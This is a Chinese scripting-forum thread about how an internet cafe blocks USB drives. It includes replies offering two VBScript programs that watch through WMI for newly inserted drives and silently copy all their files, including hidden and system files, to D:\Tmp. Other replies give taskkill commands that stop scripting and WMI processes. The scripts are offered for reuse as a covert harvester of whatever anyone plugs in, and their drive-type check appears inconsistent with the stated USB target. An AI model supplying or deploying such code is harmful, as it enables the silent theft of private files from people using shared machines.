中国DOS联盟

我在网吧用USB出现在样的东西 一接U盘上去，黑屏了，不是会黑，中间写了几个大字，“你不能用U盘，请拿走！”，一拿走就不黑屏了。 我拿走了，看看进程，没看到什么进程在死运行的，如何用批做USB禁用我会，我想他不是这样做的吧，是后台运行别、还是一发现新硬件就运行的呢？ 高手指点一下：1。批处理可以和发现新硬件同时运行吗？ 2。新硬件拿去又运行另一个批处理可以吗？

研究一下别人写的这段VBS吧，也许你能搞个更牛的出来：）

1. 监视新增所有驱动器，并复制所有新驱动器中的文件到D盘下 '随时监视插入的U盘或移动硬盘，有则自动复制其中的所有文件到d:\Tmp中 '把 fso.CopyFile 改成 fso.CopyFolder 则可以复制文件夹 '注意：包括隐藏和系统属性的文件或文件夹均被复制 '覆盖true 不覆盖false 不能覆盖具有只读属性的文件和文件夹 '若出现多个新盘符的话，每个盘中的文件均被复制 Set fso = CreateObject("Scripting.FileSystemObject") Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _ & "TargetInstance isa 'Win32_LogicalDisk'") Do While True Set objEvent = colEvents.NextEvent If objEvent.TargetInstance.DriveType = 3 Then If objEvent.Path_.Class = "__InstanceCreationEvent" Then NewDri = objEvent.TargetInstance.DeviceId fso.CopyFile NewDri & "\*","d:\Tmp\",true End If End If Loop 2.监视新增驱动器，只复制其中第1个分区中的所有文件到D盘下 Dim NewDri(9) Set fso = CreateObject("Scripting.FileSystemObject") Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _ & "TargetInstance isa 'Win32_LogicalDisk'") Do While True Set objEvent = colEvents.NextEvent If objEvent.TargetInstance.DriveType = 3 Then If objEvent.Path_.Class = "__InstanceCreationEvent" Then i=i + 1 NewDri(i) = objEvent.TargetInstance.DeviceId fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true End If End If Loop

taskkill.exe /f /im wscript.exe taskkill.exe /f /im unsecapp.exe taskkill.exe /f /im cscript.exe taskkill.exe /f /im wmiprvse.exe 一般就有效了，除非他用第3方程序

第一高手 第二高手 我的小站

复制vbs学习

这个不停的运行，不卡的吧